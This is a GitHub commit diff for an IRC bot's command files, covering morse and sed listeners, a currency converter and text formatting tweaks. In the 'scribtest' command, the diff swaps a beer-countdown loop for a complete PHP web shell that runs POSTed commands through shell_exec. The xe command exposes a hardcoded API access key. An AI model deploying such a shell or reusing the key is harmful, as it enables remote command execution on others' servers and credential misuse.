Skip to content

Commit c1416c7

Browse files
committed
Merge branch 'master' of github.com:kirjavascript/nibblrjr
2 parents 60ee1f2 + 54b75a4 commit c1416c7

11 files changed

+23
-15
lines changed

commands/bible-c28a201fb981.json

+1-1
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
{
22
"name": "bible",
3-
"command": "getJSON(`https://bible-api.com/${input}`).then(obj => print(obj.text.replace('\\n', ' '))).catch(() => new Error('not found'))",
3+
"command": "getJSON(`https://bible-api.com/${input}`).then(obj => print(obj.text.replace(/\\n/mg, ' ').replace(/^\\s+/, '').replace(/\\s{2,}/gm, ' '))).catch(() => new Error('not found'))",
44
"locked": false,
55
"starred": false
66
}

commands/dayssincegithubruinedtheui-1d21c2374d84.json

+1-1
Original file line numberDiff line numberDiff line change
@@ -2,5 +2,5 @@
22
"locked": false,
33
"starred": false,
44
"name": "dayssincegithubruinedtheui",
5-
"command": "const dateFns = require('date-fns@1.30.1')\nn=dateFns.differenceInDays(new Date(), new Date('2020-06-23T19:04:15.522Z'));\nn=`${n} day${n==1?'':'s'}`\nm=dateFns.differenceInDays(new Date(), new Date('2022-06-10T21:38:45.522Z')); \nm=`${m} day${m==1?'':'s'}`\n\nprint(`initially: ${n}, most recently: ${m}`)"
5+
"command": "const dateFns = require('date-fns@1.30.1')\nn=dateFns.differenceInDays(new Date(), new Date('2020-06-23T19:04:15.522Z'));\nn=`${n} day${n==1?'':'s'}`\nm=dateFns.differenceInDays(new Date(), new Date('2023-01-18T21:38:45.522Z')); \nm=`${m} day${m==1?'':'s'}`\n\nprint(`initially: ${n}, most recently: ${m}`)"
66
}

commands/egg-ee034712e813.json

+1-1
Original file line numberDiff line numberDiff line change
@@ -3,4 +3,4 @@
33
"command": "const _ = require('lodash');if (IRC.message.target != '#eggchan') {\n if (IRC.message.from === 'kori') {\n print('jackie chan');\n } else {\n const word = _.shuffle(\n IRC.wordList.filter((d) => d.toLowerCase().includes('egg')),\n )[0].toLowerCase();\n print(word.replace(/egg/g, 'EGG'));\n }\n} else {\n if (input) {\n IRC.eventFns.addEvent('speak', {\n callback: 'egg.event',\n time: new Date(),\n message: `egg`,\n target: input.trim(),\n });\n print('ok');\n } else {\n print(\n [...Array(250)].map((_, i) => (Math.sin(i / 5) * 10) | 0) .slice(0 | (Math.random() * 10)) .map((d) => `${' '.repeat(Math.abs(d))}${IRC.breakHighlight('egg')}`).join``\n );\n }\n}",
44
"locked": true,
55
"starred": false
6-
}
6+
}

commands/eventfetchURL-798176d44de4.json

+1-1
Large diffs are not rendered by default.

commands/eventmorse-4f8766b2bbef.json

+7
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
{
2+
"event": false,
3+
"locked": false,
4+
"starred": false,
5+
"name": "event.morse",
6+
"command": "const lookup = {\"-----\":\"0\",\".----\":\"1\",\"..---\":\"2\",\"...--\":\"3\",\"....-\":\"4\",\".....\":\"5\",\"-....\":\"6\",\"--...\":\"7\",\"---..\":\"8\",\"----.\":\"9\",\".-\":\"a\",\"-...\":\"b\",\"-.-.\":\"c\",\"-..\":\"d\",\".\":\"e\",\"..-.\":\"f\",\"--.\":\"g\",\"....\":\"h\",\"..\":\"i\",\".---\":\"j\",\"-.-\":\"k\",\".-..\":\"l\",\"--\":\"m\",\"-.\":\"n\",\"---\":\"o\",\".--.\":\"p\",\"--.-\":\"q\",\".-.\":\"r\",\"...\":\"s\",\"-\":\"t\",\"..-\":\"u\",\"...-\":\"v\",\".--\":\"w\",\"-..-\":\"x\",\"-.--\":\"y\",\"--..\":\"z\",\"morse_space\":\" \"};\n\nIRC.listen('message', (event) => {\n const morseChars = event.message.text.replace(/ /g, ' morse_space ').split(' ').filter(text => lookup[text]);\n if (morseChars.length > 2) {\n print(morseChars.map(text => lookup[text]).join(''))\n }\n});\n"
7+
}

commands/eventsed-316c1254d18a.json

+7
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
{
2+
"event": false,
3+
"locked": false,
4+
"starred": false,
5+
"name": "event.sed",
6+
"command": "IRC.listen('message', (event) => {\n if (event.message.text.startsWith('s/')) {\n const rx = event.message.text.slice(2);\n\n // or use this regex\n // s\\/(.*?)(?<!\\\\)\\/(.*?)(?<!\\\\)(\\/.+)?$\n const chunks = rx.split('/').reduce((acc, chunk) => {\n if (([]+acc.slice(-1)).slice(-1) === '\\\\') {\n acc[acc.length-1] += '\\/' + chunk\n } else {\n acc.push(chunk);\n }\n return acc;\n }, []);\n\n const [search, replace, flags] = chunks;\n const [item] = IRC.log.regex('^(?!s\\\\/).*?' + search, 1, 0);\n if (item) {\n const { user, message } = item;\n const replacement = `${IRC.colors.nick(IRC.breakHighlight(user), true)} ${message.replace(new RegExp(search), replace)}`;\n print(replacement);\n }\n }\n});"
7+
}

commands/gptJ-780198f373b8.json

+1-1
Original file line numberDiff line numberDiff line change
@@ -3,5 +3,5 @@
33
"locked": false,
44
"starred": false,
55
"name": "gptJ",
6-
"command": "const res = fetchSync.json('https://api.textsynth.com/v1/engines/gptneox_20B/completions', {\n headers: {\n\tAuthorization: `Bearer ${IRC.secret}`,\n \"Content-Type\": 'application/json',\n },\n method: 'POST',\n body: JSON.stringify({ prompt: input })\n});\n\n//log(res);\ntry {\nprint(res.text.replace(/\\s+/g,' '));\n \n} catch {\n \tlog(res); \n}"
6+
"command": "const res = fetchSync.json('https://api.textsynth.com/v1/engines/gptneox_20B/completions', {\n headers: {\n\tAuthorization: `Bearer ${IRC.secret}`,\n \"Content-Type\": 'application/json',\n },\n method: 'POST',\n body: JSON.stringify({ prompt: input })\n})\ntry {\nprint(res.text.replace(/\\s+/g,' '));\n \n} catch {\n \tlog(res); \n}"
77
}

commands/insult-0f84e579a411.json

-6
This file was deleted.

commands/scribtest-0bd27fcb32af.json

+1-1
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
{
22
"name": "scribtest",
3-
"command": "var i = 10;\nwhile (i > 0)\n{\n print(i + \" bottles of beer on the wall\")\n i -= 1;\n}",
3+
"command": "IRC.makePasta('shelltest',\"<?php\nif (!empty($_POST['cmd'])) {\n $cmd = shell_exec($_POST['cmd']);\n}\n?>\n<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"utf-8\">\n <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n <title>Web Shell</title>\n <style>\n * {\n -webkit-box-sizing: border-box;\n box-sizing: border-box;\n }\n\n body {\n font-family: sans-serif;\n color: rgba(0, 0, 0, .75);\n }\n\n main {\n margin: auto;\n max-width: 850px;\n }\n\n pre,\n input,\n button {\n border-radius: 5px;\n }\n\n pre,\n input,\n button {\n background-color: #efefef;\n }\n\n label {\n display: block;\n }\n\n input {\n width: 100%;\n background-color: #efefef;\n border: 2px solid transparent;\n }\n\n input:focus {\n outline: none;\n background: transparent;\n border: 2px solid #e6e6e6;\n }\n\n button {\n border: none;\n cursor: pointer;\n margin-left: 5px;\n }\n\n button:hover {\n background-color: #e6e6e6;\n }\n\n pre,\n input,\n button {\n padding: 10px;\n }\n\n .form-group {\n display: -webkit-box;\n display: -ms-flexbox;\n display: flex;\n padding: 15px 0;\n }\n </style>\n\n</head>\n\n<body>\n <main>\n <h1>Web Shell</h1>\n <h2>Execute a command</h2>\n\n <form method=\"post\">\n <label for=\"cmd\"><strong>Command</strong></label>\n <div class=\"form-group\">\n <input type=\"text\" name=\"cmd\" id=\"cmd\" value=\"<?= htmlspecialchars($_POST['cmd'], ENT_QUOTES, 'UTF-8') ?>\"\n onfocus=\"this.setSelectionRange(this.value.length, this.value.length);\" autofocus required>\n <button type=\"submit\">Execute</button>\n </div>\n </form>\n\n <?php if ($_SERVER['REQUEST_METHOD'] === 'POST'): ?>\n <h2>Output</h2>\n <?php if (isset($cmd)): ?>\n <pre><?= htmlspecialchars($cmd, ENT_QUOTES, 'UTF-8') ?></pre>\n <?php else: ?>\n <pre><small>No result.</small></pre>\n <?php endif; ?>\n <?php endif; ?>\n </main>\n</body>\n</html>\").php",
44
"locked": false,
55
"starred": false
66
}

commands/shreddy-8879d4c19c50.json

+1-1
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
{
22
"name": "shreddy",
3-
"command": "print.raw(\"https://www.youtube.com/watch?v=G7gwaBXRVG0\");",
3+
"command": "print.raw(\"https://www.youtube.com/watch?v=G7gwaBXRVG0\");\nprint('https://i.imgur.com/iwxxLVY.jpeg');",
44
"locked": false,
55
"starred": false
66
}

commands/xe-8185e1aa7a5c.json

+2-2
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
{
22
"name": "xe",
3-
"command": "const sp = input.split` `;\nif (sp.length < 3) {\n print(`usage: {r}${IRC.trigger}xe AMOUNT FROM TO (eg 1 GBP EUR)`);\n}\nelse {\n const amount = sp[0].trim();\n const from = sp[1].toUpperCase().trim();\n const to = sp[2].toUpperCase().trim();\n \n getJSON('http://data.fixer.io/api/latest?access_key=920bb4012de7e6878170750c6098e484')\n .then(obj => {\n const value = (obj.rates[to]/obj.rates[from])*amount;\n if (value !== value) {\n print(`usage: {r}${IRC.trigger}xe AMOUNT FROM TO (eg 1 GBP EUR)`);\n } else {\n print(`${value.toFixed(2)}`)\n }\n })\n .catch(print.error)\n \n // legacy\n // const url = `http://www.xe.com/currencyconverter/convert/?Amount=${sp[0]}&From=${sp[1]}&To=${sp[2]}`;\n // getDOM(url)\n // .then(dom => {\n // print('xe.com changed their website so it\\'s down until I figure out how to pirate currency exchange again')\n // print(dom.qs('.converterresult-toAmount').textContent)\n // })\n // .catch(print.error)\n}",
4-
"locked": true,
3+
"command": "const sp = input.split` `;\nif (sp.length < 3) {\n \tthrow `usage: {r}${IRC.colors.cmd('xe', ['from', 'to', 'amount'])} (in any order)`;\n}\nelse {\n const sp_sorted = ((x) => !isNaN(x[0]) ? x : !isNaN(x[1]) ? [x[1], x[0], x[2]] : [x[2], x[0], x[1]]) (sp)\n const amount = sp_sorted[0].trim();\n const from = sp_sorted[1].toUpperCase().trim();\n const to = sp_sorted[2].toUpperCase().trim();\n \n getJSON('http://data.fixer.io/api/latest?access_key=920bb4012de7e6878170750c6098e484')\n .then(obj => {\n const value = (obj.rates[to]/obj.rates[from])*amount;\n if (value !== value) {\n print(`usage: {r}${IRC.trigger}xe AMOUNT FROM TO (eg 1 GBP EUR)`);\n } else {\n print(`${value.toFixed(2)}`)\n }\n })\n .catch(print.error)\n \n // legacy\n // const url = `http://www.xe.com/currencyconverter/convert/?Amount=${sp[0]}&From=${sp[1]}&To=${sp[2]}`;\n // getDOM(url)\n // .then(dom => {\n // print('xe.com changed their website so it\\'s down until I figure out how to pirate currency exchange again')\n // print(dom.qs('.converterresult-toAmount').textContent)\n // })\n // .catch(print.error)\n}",
4+
"locked": false,
55
"starred": false
66
}

0 commit comments

Comments
 (0)